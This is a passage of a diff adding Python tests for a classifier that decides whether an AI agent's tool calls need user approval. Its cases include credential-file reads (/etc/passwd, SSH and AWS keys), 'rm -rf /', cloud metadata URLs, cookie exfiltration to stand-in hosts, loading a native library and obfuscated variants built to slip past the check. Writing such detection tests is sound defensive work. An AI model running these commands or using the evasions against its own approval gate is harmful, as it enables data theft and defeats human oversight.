+            "from pathlib import Path\n(Path('/etc').resolve() / 'passwd').read_text()",
+            True,
+        ),  # Path.resolve keeps the sensitive root
+        (
+            "import os\nbase = os.path.abspath('data')\nopen(base + '/x.txt').read()",
+            False,
+        ),  # benign normalizer stays safe
+        ("import torch\ntorch.load('model.pt')", True),  # pickle-backed loader
+        ("import joblib\njoblib.load('x.pkl')", True),  # joblib loader
+        ("import pandas as pd\npd.read_pickle('x.pkl')", True),  # pandas pickle reader
+        ("import json\nprint(json.load(open('x.json')))", False),  # json.load stays safe
+        (
+            "import types\nc = compile('x=1', '', 'exec')\nf = types.FunctionType(c, globals())\nf()",
+            True,
+        ),  # compiled code wrapped into a callable
+        ("cfg = d['k']\nprint(cfg)", False),  # subscript result not called stays safe
+        ("open('/etc/{}'.format('passwd')).read()", True),  # str.format sensitive path
+        ("open('/etc/{}'.format(name)).read()", True),  # format dynamic /etc segment
+        ("print('/tmp/{}'.format('a'))", False),  # format under /tmp stays safe
+        ("import numpy\nnumpy.save('x.npy', a)", True),  # numpy writer method
+        ("plt.savefig('f.png')", True),  # matplotlib writer method
+        ("df.to_csv('out.csv')", True),  # pandas writer method
+        ("img.save('o.png')", True),  # PIL writer method
+        ("import json\njson.dump(obj, f)", True),  # serialization writer
+        ("df.to_string()", False),  # non-persisting render stays safe
+        ("model.forward(x)", False),  # ordinary method call stays safe
+        ("open(''.join(['/etc', '/passwd'])).read()", True),  # str.join sensitive path
+        ("open('/'.join(['/etc', 'passwd'])).read()", True),  # separator join
+        ("print(''.join(['a', 'b']))", False),  # benign join stays safe
+        ("from builtins import eval as e\ne('1')", True),  # aliased builtin eval
+        ("import builtins\nx = builtins.exec\nx('a=1')", True),  # attr-aliased exec
+        ("from builtins import __import__ as imp\nimp('os')", True),  # aliased __import__
+        ("from mymod import evaluate as e\ne(1)", False),  # unrelated alias stays safe
+        ("base = '/etc'\nopen(base + '/passwd').read()", True),  # literal-var path
+        ("d = '/etc'\nopen(f'{d}/passwd').read()", True),  # literal var in f-string
+        ("base = 'data'\nopen(base + '/x.txt').read()", False),  # benign literal var
+        ("import numpy as np\nnp.array([1]).tofile('out.bin')", True),  # numpy tofile
+        ("arr.tolist()", False),  # non-persisting numpy call stays safe
+        (
+            "from pathlib import Path\np = Path('/etc')\n(p / 'passwd').read_text()",
+            True,
+        ),  # pathlib path alias reused
+        (
+            "from pathlib import Path\np = Path('data')\n(p / 'x.txt').read_text()",
+            False,
+        ),  # relative path alias stays safe
+        ("open('%s/%s' % ('/etc', 'passwd')).read()", True),  # percent-format path
+        ("open('/etc/%s' % name).read()", True),  # percent-format dynamic segment
+        ("open('%s/%s' % ('data', 'x.txt')).read()", False),  # benign percent-format
+        ("open('/etc/%(f)s' % {'f': 'passwd'}).read()", True),  # mapping-style percent path
+        ("open('/etc/%(f)s' % {'f': name}).read()", True),  # mapping-style dynamic segment
+        ("open('/etc/%(f)s' % mapping).read()", True),  # non-literal mapping fails closed
+        ("open('data/%(f)s' % {'f': 'x.txt'}).read()", False),  # benign mapping-style stays safe
+        ("import logging\nlogging.FileHandler('out.log', mode='w')", True),  # log file writer
+        ("import logging\nlogging.FileHandler('out.log')", True),  # default append still writes
+        ("from logging import FileHandler\nFileHandler('x.log')", True),  # bare-name file handler
+        (
+            "import logging.handlers\nlogging.handlers.RotatingFileHandler('x.log')",
+            True,
+        ),  # rotating log file writer
+        ("import logging\nlogging.getLogger('x').info('hi')", False),  # logging read stays safe
+        ("from numpy import save\ns = save\ns('out.npy', arr)", True),  # writer aliased to a name
+        ("from zipfile import ZipFile\nz = ZipFile\nz('a.zip', 'w')", True),  # archive ctor aliased
+        ("from numpy import save\ns, _ = (save, 1)\ns('o.npy', a)", True),  # writer destructured
+        ("x = len\nx('hi')", False),  # a benign builtin alias stays safe
+        ("import asyncio\nasyncio.create_subprocess_shell('rm -rf /')", True),  # asyncio spawn
+        ("import asyncio\nasyncio.create_subprocess_exec('rm', '-rf', '/')", True),  # asyncio spawn
+        ("import asyncio\nasyncio.sleep(1)", False),  # benign asyncio helper stays safe
+        ("import imaplib\nimaplib.IMAP4('host')", True),  # stdlib mail client opens a connection
+        ("import poplib\npoplib.POP3('host')", True),  # stdlib mail client
+        ("import xmlrpc.client\nxmlrpc.client.ServerProxy('http://x')", True),  # rpc client
+        ("import math\nmath.sqrt(2)", False),  # benign stdlib import stays safe
+        ("def f(o=open):\n    o('out', 'w').write('x')\nf()", True),  # open captured in a default
+        ("g = lambda o=open: o('out', 'w')\ng()", True),  # open captured in a lambda default
+        ("def f(o=len):\n    return o('x')\nf()", False),  # a benign default stays safe
+        ("import numpy as np\ns = np.save\ns('out.npy', arr)", True),  # attribute writer aliased
+        ("from pathlib import Path\np = Path('out').open\np('w')", True),  # bound .open aliased
+        ("import zipfile\nz = zipfile.ZipFile\nz('a.zip', 'w')", True),  # attribute archive ctor
+        ("import numpy as np\nx = np.mean\nx(a)", False),  # a benign attribute alias stays safe
+        (
+            "import numpy as np\nnp.memmap('o', dtype='u1', mode='w+', shape=(1,))",
+            True,
+        ),  # memmap w+
+        (
+            "import pandas as pd\npd.ExcelWriter('o.xlsx')",
+            True,
+        ),  # pandas ExcelWriter creates a file
+        ("import pandas as pd\npd.HDFStore('o.h5')", True),  # pandas HDFStore creates a file
+        ("import asyncio\nasyncio.open_connection('h', 80)", True),  # asyncio outbound connection
+        (
+            "import asyncio\nl = asyncio.get_event_loop()\nl.create_server(P, 'h', 80)",
+            True,
+        ),  # listener
+        ("import asyncio\nasyncio.start_server(cb, 'h', 80)", True),  # asyncio listener
+        (
+            "import asyncio\nasyncio.open_unix_connection('/tmp/s')",
+            True,
+        ),  # asyncio unix connect
+        (
+            "import asyncio\nl = asyncio.get_event_loop()\nl.create_datagram_endpoint(f)",
+            True,
+        ),  # UDP socket
+        (
+            "import asyncio\nl = asyncio.get_event_loop()\nl.sock_connect(s, ('h', 80))",
+            True,
+        ),  # raw socket connect
+        ("import asyncio\nasyncio.sleep(1)", False),  # benign asyncio helper stays safe
+        ("import os\nos.setxattr('f', 'user.x', b'v')", True),  # xattr write
+        ("import os\nos.removexattr('f', 'user.x')", True),  # xattr remove
+        ("import gzip\ngzip.GzipFile('o.gz', 'w')", True),  # gzip writer
+        ("import bz2\nbz2.BZ2File('o.bz2', 'w')", True),  # bz2 writer
+        ("import lzma\nlzma.LZMAFile('o.xz', mode='w')", True),  # lzma writer (mode kw)
+        (
+            "from gzip import GzipFile\nGzipFile('o.gz', 'wb')",
+            True,
+        ),  # bare-imported gzip writer
+        ("import gzip\ngzip.GzipFile('o.gz', 'r')", False),  # gzip read stays safe
+        ("import gzip\ngzip.GzipFile('o.gz')", False),  # gzip default (read) stays safe
+        ("df.to_xml('out.xml')", True),  # pandas to_xml writer
+        ("df.to_html('report.html')", True),  # pandas to_html writer
+        ("df.to_markdown('out.md')", True),  # pandas to_markdown writer
+        ("df.to_latex('out.tex')", True),  # pandas to_latex writer
+        ("df.to_dict()", False),  # non-persisting pandas export stays safe
+        ("x = df.to_string()", False),  # to_string renders to memory, stays safe
+        (
+            "import websockets\nwebsockets.connect('ws://h')",
+            True,
+        ),  # websockets outbound connection
+        (
+            "import asyncio\nasyncio.start_unix_server(cb, '/tmp/sock')",
+            True,
+        ),  # asyncio unix listener
+        ("import os\nos.startfile('calc.exe')", True),  # Windows startfile launches a program
+        (
+            "import socketserver\nsocketserver.TCPServer(('0.0.0.0', 80), H)",
+            True,
+        ),  # stdlib server binds a listener
+        (
+            "from gzip import open as gopen\ngopen('o.gz', 'w')",
+            True,
+        ),  # gzip open alias, write mode
+        (
+            "from gzip import open as gopen\ngopen('o.gz', 'rt')",
+            False,
+        ),  # gzip open alias, read stays safe
+        (
+            "open(chr(47) + 'etc/passwd').read()",
+            True,
+        ),  # dynamic '/' prefix forms /etc/passwd
+        (
+            "import os\nopen(os.sep + 'etc/passwd').read()",
+            True,
+        ),  # os.sep prefix forms /etc/passwd
+        (
+            "base = get_dir()\nopen(base + 'data/file.txt').read()",
+            False,
+        ),  # dynamic prefix + benign suffix stays safe
+        (
+            "import logging\nlogging.basicConfig(filename='o.log', filemode='w')",
+            True,
+        ),  # basicConfig opens a log file for write
+        (
+            "from logging import basicConfig\nbasicConfig(filename='o.log')",
+            True,
+        ),  # bare-imported basicConfig write
+        (
+            "import logging\nlogging.basicConfig(level=logging.INFO)",
+            False,
+        ),  # basicConfig without filename stays safe
+        (
+            "from operator import methodcaller\nw = methodcaller('write_text', 'x')\nw(Path('f'))",
+            True,
+        ),  # methodcaller hides a writer method
+        (
+            "import operator\nw = operator.methodcaller('unlink')\nw(Path('f'))",
+            True,
+        ),  # operator.methodcaller unlink
+        (
+            "from operator import methodcaller\nu = methodcaller('upper')\nu('x')",
+            False,
+        ),  # methodcaller of a read-only method stays safe
+        (
+            "import fileinput\nfor line in fileinput.input('v.txt', inplace=True):\n    pass",
+            True,
+        ),  # fileinput in-place rewrite
+        (
+            "import fileinput\nfor line in fileinput.input('v.txt'):\n    pass",
+            False,
+        ),  # fileinput read stays safe
+        (
+            "import pathlib\nP = pathlib.Path\n(P('/etc') / 'passwd').read_text()",
+            True,
+        ),  # qualified path-ctor alias (P = pathlib.Path)
+        (
+            "import pathlib\nP = pathlib.Path\n(P('/tmp') / 'x').read_text()",
+            False,
+        ),  # benign qualified path-ctor alias stays safe
+        (
+            "import numpy as np\ndef f(s=np.save):\n    s('o.npy', a)\nf()",
+            True,
+        ),  # attribute writer captured as a default arg
+        (
+            "from functools import partial\ndef f(w=partial(open, mode='w')):\n    w('o')\nf()",
+            True,
+        ),  # partial(open) captured as a default arg
+        (
+            "import numpy as np\ndef f(s=np.mean):\n    s(a)\nf()",
+            False,
+        ),  # benign attribute default stays safe
+        (
+            "open('/et' + chr(99) + '/passwd').read()",
+            True,
+        ),  # dynamic char splitting a sensitive name
+        (
+            "open(a + '/' + b).read()",
+            False,
+        ),  # segment-spanning dynamic path stays safe
+        ("list(map(open, ['o.txt'], ['w']))", True),  # open handed to map()
+        (
+            "import numpy as np\nlist(map(np.save, ['o.npy'], [arr]))",
+            True,
+        ),  # writer handed to map()
+        ("list(map(len, ['abc']))", False),  # benign map() stays safe
+        (
+            "import itertools\nlist(itertools.starmap(open, [('out', 'w')]))",
+            True,
+        ),  # qualified higher-order invoker (itertools.starmap)
+        (
+            "import functools\nfunctools.reduce(open, xs)",
+            True,
+        ),  # qualified functools.reduce with a writer
+        (
+            "import itertools\nlist(itertools.starmap(len, xs))",
+            False,
+        ),  # benign qualified invoker stays safe
+        (
+            "import itertools\nlist(itertools.chain(xs, ys))",
+            False,
+        ),  # non-invoker itertools helper stays safe
+        (
+            "m = map\nlist(m(open, ['o.txt'], ['w']))",
+            True,
+        ),  # aliased invoker (m = map) handed open()
+        (
+            "from itertools import starmap as sm\nlist(sm(open, [('out', 'w')]))",
+            True,
+        ),  # imported-as invoker alias handed open()
+        (
+            "f = filter\nlist(f(open, ['a']))",
+            True,
+        ),  # aliased filter() handed open()
+        (
+            "m = map\nlist(m(str, [1, 2]))",
+            False,
+        ),  # aliased invoker with a benign callable stays safe
+        ("spec.loader.exec_module(module)", True),  # runs a module's code
+        ("spec.loader.get_data('x')", False),  # loader read stays safe
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').extractall('out')",
+            True,
+        ),  # extractall writes arbitrary files
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').extract('member', 'out')",
+            True,
+        ),  # single-member extract still writes to disk (zip-slip)
+        (
+            "import tarfile\ntarfile.open('a.tar').extract('m', 'out')",
+            True,
+        ),  # tarfile single-member extract writes to disk
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').read('n')",
+            False,
+        ),  # archive in-memory read stays safe
+        (
+            "import zipfile\nzipfile.ZipFile('a.zip').namelist()",
+            False,
+        ),  # archive read stays safe
+        ("import ensurepip\nensurepip.bootstrap()", True),  # installs pip
+        ("import venv\nvenv.create('env')", True),  # builds an environment
+        ("import pydoc\npydoc.writedoc('math')", True),  # writes name.html
+        (
+            "print(open('/home/alice/.cache/huggingface/token').read())",
+            True,
+        ),  # reads the Hugging Face login token
+        (
+            "open('/home/alice/.cache/huggingface/hub/models--x/config.json').read()",
+            False,
+        ),  # HF model cache is not a credential
+        ("import numpy as np\nnp.mean([1, 2])", False),  # a benign numpy read stays safe
+        (
+            "from pathlib import Path\nP = Path\n(P('/etc') / 'passwd').read_text()",
+            True,
+        ),  # Path aliased
+        (
+            "import os\nj = os.path.join\nopen(j('/etc', 'passwd')).read()",
+            True,
+        ),  # os.path.join aliased
+        (
+            "from pathlib import Path\nP = Path\n(P('/tmp') / 'x').read_text()",
+            False,
+        ),  # benign alias
+        (
+            "from pathlib import Path\nPath('/etc').joinpath('passwd').read_text()",
+            True,
+        ),  # pathlib joinpath
+        (
+            "from pathlib import Path\nPath('data').joinpath('x.txt').read_text()",
+            False,
+        ),  # relative joinpath stays safe
+        (
+            "from pathlib import Path\nPath('/etc/anything').with_name('passwd').read_text()",
+            True,
+        ),  # with_name rewrites the final segment to a secret
+        (
+            "from pathlib import Path\nPath('/etc/x').with_stem('passwd').read_text()",
+            True,
+        ),  # with_stem rewrites the stem to a secret
+        (
+            "from pathlib import Path\nPath('/etc/passwd.bak').with_suffix('').read_text()",
+            True,
+        ),  # with_suffix drops the suffix onto a secret
+        (
+            "from pathlib import Path\nPath('/tmp/a').with_name('b.txt').read_text()",
+            False,
+        ),  # benign with_name in the sandbox stays safe
+        (
+            "from pathlib import Path\nPath('report.txt').with_suffix('.md').read_text()",
+            False,
+        ),  # benign with_suffix stays safe
+        ("base, leaf = ('/etc', 'passwd')\nopen(base + '/' + leaf).read()", True),
+        # destructured string literals fold into the sensitive path
+        ("d, f = ('/etc', 'passwd')\nopen('/'.join([d, f])).read()", True),
+        # destructured literals reused through str.join
+        ("base, leaf = ('/tmp', 'x')\nopen(base + '/' + leaf).read()", False),
+        # benign destructured literals stay safe
+        ("open(b'/etc/passwd').read()", True),  # bytes path literal
+        ("open(b'data.txt').read()", False),  # benign bytes literal stays safe
+        (
+            "from pathlib import Path\n(Path.cwd().parent / 'other' / 'notes').read_text()",
+            True,
+        ),  # pathlib parent escapes the sandbox
+        (
+            "from pathlib import Path\n(Path('data') / 'notes').read_text()",
+            False,
+        ),  # in-sandbox pathlib read stays safe
+        ("import glob\nopen(glob.glob('/e??/passwd')[0]).read()", True),  # python glob to secret
+        ("import glob\nfor f in glob.glob('*.py'):\n    print(f)", False),  # benign glob stays safe
+        (
+            "import glob\nbase = '/e??'\nopen(glob.glob(base + '/passwd')[0]).read()",
+            True,
+        ),  # glob pattern folded from a literal variable
+        ("from os.path import join\nopen(join('/etc', 'passwd')).read()", True),  # bare join alias
+        ("from os.path import join\nopen(join('data', 'x.txt')).read()", False),  # benign bare join
+        ("from numpy import save\nsave('out.npy', arr)", True),  # writer imported as a bare name
+        ("from numpy import mean\nmean(arr)", False),  # benign bare import stays safe
+        (
+            "from pathlib import Path as P\n(P('/etc') / 'passwd').read_text()",
+            True,
+        ),  # aliased pathlib constructor
+        (
+            "from pathlib import Path as P\n(P('data') / 'x').read_text()",
+            False,
+        ),  # aliased ctor with a relative path stays safe
+        (
+            "from pathlib import PosixPath\n(PosixPath('/etc') / 'passwd').read_text()",
+            True,
+        ),  # concrete PosixPath constructor is folded too
+        (
+            "import pathlib\n(pathlib.PosixPath('/etc') / 'passwd').read_text()",
+            True,
+        ),  # qualified concrete constructor
+        (
+            "from pathlib import WindowsPath as W\n(W('/etc') / 'passwd').read_text()",
+            True,
+        ),  # aliased concrete Windows constructor
+        (
+            "from pathlib import PosixPath\n(PosixPath('data') / 'x').read_text()",
+            False,
+        ),  # concrete ctor with a relative path stays safe
+        (
+            "base = '/etc'\nopen(base + '/passwd').read()\nbase = 'data'",
+            True,
+        ),  # a later reassignment must not mask the earlier sensitive read
+        (
+            "base = 'data'\nopen(base + '/x').read()\nbase = '/etc'",
+            True,
+        ),  # any reassignment of a path var fails closed
+        (
+            "base = 'data'\nopen(base + '/x').read()",
+            False,
+        ),  # a single benign literal path var stays safe
+        (
+            "from zipfile import ZipFile\nZipFile('out.zip', 'w')",
+            True,
+        ),  # bare archive constructor with write mode
+        (
+            "from tarfile import TarFile as T\nT('a.tar', 'w')",
+            True,
+        ),  # aliased bare archive constructor
+        (
+            "from zipfile import ZipFile\nZipFile('in.zip')",
+            False,
+        ),  # bare archive constructor reading stays safe
+        (
+            "import os\ng = getattr\nrm = g(os, 'remove')\nrm('file')",
+            True,
+        ),  # dynamic lookup aliased through a getattr alias
+        (
+            "import os\ng = getattr\nn = g(os, 'name')\nprint(n)",
+            False,
+        ),  # resolving (not calling) through a getattr alias stays safe
+        (
+            "from functools import partial\nw = partial(open, mode='w')\nw('out.txt')",
+            True,
+        ),  # partial wrapping open hides the write mode
+        (
+            "import os\nfrom functools import partial\nw = partial(os.remove)\nw('f')",
+            True,
+        ),  # partial wrapping a mutating callable
+        (
+            "from functools import partial\np = partial(print, end='')\np('hi')",
+            False,
+        ),  # partial wrapping a safe callable stays safe
+        (
+            "open(*('result.txt', 'w')).write('x')",
+            True,
+        ),  # *args splat can hide the write mode
+        ("open(*args).write('x')", True),  # dynamic *args splat fails closed
+        ("__builtins__.__import__('subprocess')", True),  # __builtins__ dynamic import
+        (
+            "import builtins\nbuiltins.__import__('os')",
+            True,
+        ),  # builtins.__import__ dynamic import
+        (
+            "import builtins\nbuiltins.print(builtins.len([1]))",
+            False,
+        ),  # benign builtins.print/len stay safe
+        (
+            "import os\nopen(f'/proc/{os.getppid()}/fd/3').read()",
+            True,
+        ),  # f-string procfs fd symlink read
+        # huggingface_hub.hf_hub_download / snapshot_download fetch remote repo
+        # files over the network (and write an on-disk cache), so they ask.
+        (
+            "import huggingface_hub\nhuggingface_hub.hf_hub_download('r', 'f')",
+            True,
+        ),  # hub file download over the network
+        (
+            "from huggingface_hub import hf_hub_download\nhf_hub_download('r', 'f')",
+            True,
+        ),  # bare-imported hub file download
+        (
+            "from huggingface_hub import snapshot_download\nsnapshot_download('r')",
+            True,
+        ),  # bare-imported repo snapshot download
+        ("import statistics\nstatistics.mean([1, 2])", False),  # benign stdlib import stays safe
+        # A concrete write callable handed to a user-defined helper that can
+        # invoke it bypasses the direct open()/writer site, so it asks.
+        (
+            "def run(fn): fn('out.txt', 'w').write('x')\nrun(open)",
+            True,
+        ),  # open passed into a helper that calls it
+        (
+            "from numpy import save\ndef h(fn): fn('o.npy', a)\nh(save)",
+            True,
+        ),  # writer alias passed into a helper
+        (
+            "import numpy as np\ndef run(fn): fn('o.npy', a)\nrun(np.save)",
+            True,
+        ),  # attribute writer passed into a helper
+        ("def run(fn): return fn('x')\nrun(len)", False),  # benign callable arg stays safe
+    ],
+)
+def test_python_classifier(code, unsafe):
+    assert is_potentially_unsafe_tool_call("python", {"code": code}) is unsafe
+
+
+def test_builtin_readonly_tools_are_safe():
+    assert is_potentially_unsafe_tool_call("web_search", {"query": "hi"}) is False
+    assert is_potentially_unsafe_tool_call("search_knowledge_base", {}) is False
+    assert is_potentially_unsafe_tool_call("render_html", {}) is False
+
+
+def test_render_html_gated_only_when_networked():
+    # A static canvas auto-runs; one whose HTML/JS reaches the network asks.
+    def rh(code):
+        return is_potentially_unsafe_tool_call("render_html", {"code": code})
+
+    assert rh("<h1>Report</h1><p>Summary</p>") is False
+    assert (
+        rh("<div id=c></div><script>document.getElementById('c').textContent='x'</script>") is False
+    )
+    assert rh("<svg xmlns='http://www.w3.org/2000/svg'><circle r=4/></svg>") is False
+    assert rh("<img src='./local.png'>") is False
+    assert rh("<img src=x onerror='fetch(1)'>") is True
+    assert rh("<script>new WebSocket('wss://x')</script>") is True
+    assert rh("<script src='https://cdn/x.js'></script>") is True
+    assert rh("<script>new XMLHttpRequest().open('GET','/x')</script>") is True
+    assert rh("<img src='https://evil/pixel.png'>") is True
+    # Worker / SharedWorker constructors run an off-thread script the scan cannot
+    # see (a module worker from a CORS CDN, or a blob/same-origin worker that
+    # fetches/importScripts) under worker-src http: https: blob:, so they ask.
+    assert rh("<script>new Worker('https://evil/w.js')</script>") is True
+    assert rh("<script>new Worker('https://cdn/x.mjs', {type: 'module'})</script>") is True
+    assert rh("<script>new SharedWorker('https://evil/w.js')</script>") is True
+    assert rh("<script>var myWorker = 1; console.log(myWorker)</script>") is False  # not a ctor
+    assert rh("<script>new WorkerPool(4)</script>") is False  # unrelated class, not a real Worker
+    # Resource-loading forms beyond a direct fetch also reach the network.
+    assert rh("<style>body{background:url(https://evil/x.png)}</style>") is True
+    assert rh("<style>@import 'https://evil/x.css'</style>") is True
+    assert rh("<img srcset='https://evil/x.png 1x'>") is True
+    assert rh("<img src='/api/leak?d=1'>") is True  # root-relative resolves to origin
+    assert rh("<link rel=stylesheet href='//cdn/x.css'>") is True  # protocol-relative
+    # Self-navigation sinks exfiltrate by navigating the frame away.
+    assert rh("<script>location.href='https://x/?d='+document.cookie</script>") is True
+    assert rh("<script>location.assign('https://x')</script>") is True
+    assert rh("<script>location.replace('https://x')</script>") is True
+    assert rh("<script>window.open('https://x')</script>") is True
+    assert rh("<script>window.location='https://x'</script>") is True
+    assert rh("<script>location.reload()</script>") is False  # reload is not navigation
+    assert rh("<script>history.back()</script>") is False
+    # Obfuscated egress: a block comment splitting fetch(, or bracket access.
+    assert rh("<script>fetch/*x*/('https://example.com')</script>") is True
+    assert rh("<script>window['fetch']('https://example.com')</script>") is True
+    # A computed bracket key spliced from string fragments on a global host object.
+    assert rh("<script>window['fet'+'ch']('https://attacker.example')</script>") is True
+    assert rh("<script>self['open' + '']('https://x')</script>") is True
+    # A computed key on a plain object (not a global host) stays a static canvas.
+    assert rh("<script>var o={}; o['a'+'b']=1</script>") is False
+    assert rh("<script>/* just a note */ var x = 1</script>") is False  # comment only
+    # A meta-refresh with a url navigates the frame to an external origin.
+    assert rh('<meta http-equiv="refresh" content="0;url=https://example.com">') is True
+    assert rh("<meta http-equiv='refresh' content='0; url=https://x'>") is True
+    assert rh('<meta http-equiv="refresh" content="30">') is False  # self-reload, no url
+    assert rh('<meta charset="utf-8"><h1>Hi</h1>') is False  # ordinary meta stays safe
+
+
+def test_unknown_tools_fail_closed():
+    assert is_potentially_unsafe_tool_call("mystery_tool", {}) is True
+
+
+def test_is_always_safe_tool():
+    from core.inference.tools import is_always_safe_tool
+    for name in ("web_search", "search_knowledge_base"):
+        assert is_always_safe_tool(name) is True
+    # render_html is no longer unconditionally safe: a networked canvas can prompt,
+    # which cannot be judged before its arguments stream.
+    for name in ("python", "terminal", "mystery_tool", "mcp__srv__read", "render_html"):
+        assert is_always_safe_tool(name) is False
+
+
+@pytest.mark.parametrize(
+    ("tool", "unsafe"),
+    [
+        ("get_weather", False),
+        ("list_files", False),
+        ("search", False),
+        ("send_email", True),
+        ("create_issue", True),
+        ("delete_row", True),
+        ("get_or_create_issue", True),  # mutating verb overrides read prefix
+        ("read_and_delete_file", True),
+        ("find_and_update_row", True),
+        ("get_and_commit_changes", True),  # commit/save/archive are mutating
+        ("read_and_save_file", True),
+        ("list_and_archive", True),
+        ("list_and_clone_repo", True),  # clone/checkout/comment are mutating
+        ("fetch_and_comment_issue", True),
+        ("get_and_checkout_branch", True),
+        ("read_and_append_file", True),  # append/prepend are mutating
+        ("prepend_line", True),
+        ("get_and_upsert_row", True),  # upsert/assign are mutating
+        ("list_and_assign_issue", True),
+        ("read_and_copy_file", True),  # copy-style verbs create/overwrite state
+        ("get_and_copy_resource", True),
+        ("read_and_duplicate_entry", True),
+        ("fetch_and_download_asset", True),  # download writes local state
+        ("list_and_export_data", True),  # import/export/backup/restore/snapshot
+        ("get_and_snapshot_volume", True),
+        ("get_and_mark_read", True),  # mark/subscribe change external state
+        ("get_and_subscribe", True),
+        ("list_and_unsubscribe", True),
+        ("get_and_reply_email", True),  # reply/notify send/change external state
+        ("list_and_notify_users", True),
+        ("read_secret", True),  # credential noun: a read that discloses a secret
+        ("list_tokens", True),
+        ("get_credentials", True),
+        ("fetch_api_key", True),  # scoped *_key noun
+        ("read_access_key", True),
+        ("get_password", True),
+        ("read_passphrase", True),
+        ("read_report", False),  # plain read stays safe
+        ("get_primary_key", False),  # a schema key is not a credential
+        ("search_keyboard_shortcuts", False),  # 'key' inside another word stays safe
+        ("list_bookmarks", False),  # 'mark' substring in a token stays safe
+        ("list_notifications", False),  # 'notify' is a different token than 'notifications'
+    ],
+)
+def test_mcp_classifier(tool, unsafe):
+    name = f"{MCP_TOOL_PREFIX}srv1__{tool}"
+    assert is_potentially_unsafe_tool_call(name, {}) is unsafe
+
+
+@pytest.mark.parametrize(
+    ("args", "unsafe"),
+    [
+        ({"path": "/etc/passwd"}, True),  # read-named tool at a credential path
+        ({"path": "../../.ssh/id_rsa"}, True),
+        ({"nested": {"file": "~/.aws/credentials"}}, True),
+        ({"name": "OPENAI_API_KEY"}, True),  # explicit credential env-var read
+        ({"name": "AWS_SECRET_ACCESS_KEY"}, True),
+        ({"key": "DATABASE_PASSWORD"}, True),
+        (
+            {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"},
+            True,
+        ),  # AWS instance-metadata host
+        (
+            {"url": "http://metadata.google.internal/computeMetadata/v1/"},
+            True,
+        ),  # GCP metadata host
+        ({"path": "notes.txt"}, False),  # ordinary path stays safe
+        ({"path": "data/report.csv"}, False),
+        ({"name": "PATH"}, False),  # a non-secret env var stays safe
+        ({"name": "HOME"}, False),
+        ({"url": "https://example.com/api"}, False),  # ordinary URL stays safe
+        ({"url": "http://localhost:8080/health"}, False),  # localhost app stays safe
+    ],
+)
+def test_mcp_sensitive_arguments(args, unsafe):
+    name = f"{MCP_TOOL_PREFIX}fs__read_file"
+    assert is_potentially_unsafe_tool_call(name, args) is unsafe
+
+
+@pytest.mark.parametrize(
+    ("args", "unsafe"),
+    [
+        ({"query": "DELETE FROM runs"}, True),  # read-named tool, mutating query
+        ({"sql": "DROP TABLE users"}, True),
+        ({"query": "UPDATE t SET x=1"}, True),
+        ({"query": "INSERT INTO t VALUES (1)"}, True),
+        ({"query": "SELECT * FROM runs"}, False),  # read query stays safe
+        ({"query": "how to delete old files"}, False),  # NL text with 'delete' stays safe
+        ({"query": "find the created_at column"}, False),  # 'created' substring stays safe
+        ({"query": "DELETE/**/FROM runs"}, True),  # inline SQL comment as whitespace
+        ({"query": "UPDATE/**/t SET x=1"}, True),
+        ({"query": "DROP/**/TABLE users"}, True),
+        ({"query": "SELECT * FROM runs -- delete later"}, False),  # trailing comment stays safe
+        ({"query": "COPY users FROM '/tmp/u.csv'"}, True),  # bulk load writes the table
+        ({"query": "COPY users (id, name)\nFROM STDIN"}, True),  # multiline COPY FROM
+        ({"query": "COPY (SELECT 1) TO '/tmp/o.csv'"}, True),  # COPY TO writes a server file
+        ({"query": "SELECT copy_count FROM t"}, False),  # 'copy' substring column stays safe
+        ({"query": "mutation { deleteIssue(id: 1) }"}, True),  # GraphQL mutation
+        ({"query": "mutation DelIssue { deleteIssue(id: 1) }"}, True),  # named GraphQL mutation
+        ({"query": "mutation # note\n { deleteIssue(id: 1) }"}, True),  # comment before body
+        ({"query": "mutation # c\n Del { deleteIssue(id: 1) }"}, True),  # comment before name
+        ({"query": "query { issue(id: 1) { title } }"}, False),  # GraphQL read query stays safe
+        ({"query": "{ issue(id: 1) { title } }"}, False),  # shorthand GraphQL query stays safe
+        ({"query": "query # note\n { issue(id: 1) }"}, False),  # commented read query stays safe
+        ({"query": "CREATE OR REPLACE VIEW v AS SELECT 1"}, True),  # DDL with a modifier
+        ({"query": "CREATE UNIQUE INDEX idx ON t(x)"}, True),  # DDL with UNIQUE
+        ({"query": "CREATE TEMP TABLE t (id int)"}, True),  # DDL with TEMP
+        ({"query": "CREATE MATERIALIZED VIEW mv AS SELECT 1"}, True),  # materialized view DDL
+        ({"query": "CREATE FUNCTION f() RETURNS int AS $$ $$"}, True),  # function DDL
+        ({"query": "ALTER SYSTEM SET work_mem = '1GB'"}, True),  # persists server config
+        ({"query": "alter system reset all"}, True),  # ALTER SYSTEM RESET
+        ({"query": "SELECT * FROM system_logs"}, False),  # 'system' as a table name stays safe
+        ({"query": "SELECT * FROM created_view"}, False),  # 'create' substring stays safe
+        ({"query": "CALL delete_all_users()"}, True),  # stored procedure invocation
+        ({"query": "EXEC purge_queue"}, True),  # EXEC procedure
+        ({"query": "EXECUTE sp_drop"}, True),  # EXECUTE procedure
+        ({"query": "VACUUM INTO 'backup.db'"}, True),  # VACUUM rewrites the database
+        ({"query": "please call me back later"}, False),  # NL 'call' stays safe
+        ({"query": "ATTACH DATABASE '/tmp/x.db' AS x"}, True),  # attaches a database file
+        ({"query": "DETACH DATABASE x"}, True),  # detaches a database
+        ({"query": "PRAGMA user_version = 42"}, True),  # write-form PRAGMA
+        ({"query": "PRAGMA journal_mode=WAL"}, True),  # write-form PRAGMA (no spaces)
+        ({"query": "PRAGMA foreign_keys(0)"}, True),  # call-form PRAGMA write
+        ({"query": "SELECT load_extension('/tmp/evil.so')"}, True),  # loads native code
+        ({"query": "PRAGMA journal_mode"}, False),  # read-form PRAGMA stays safe
+        ({"query": "can you attach the report to the email"}, False),  # NL 'attach' stays safe
+        ({"query": "ATTACH '/tmp/x.db' AS x"}, True),  # ATTACH without DATABASE keyword
+        ({"query": "PRAGMA main.user_version = 1"}, True),  # schema-qualified write PRAGMA
+        ({"query": "attach it as draft"}, False),  # NL 'attach ... as' stays safe
+        ({"query": "DROP FUNCTION f()"}, True),  # DROP of a non-table object
+        ({"query": "ALTER INDEX idx RENAME TO idx2"}, True),  # ALTER of a non-table object
+        ({"query": "DROP MATERIALIZED VIEW mv"}, True),  # DROP with a modifier
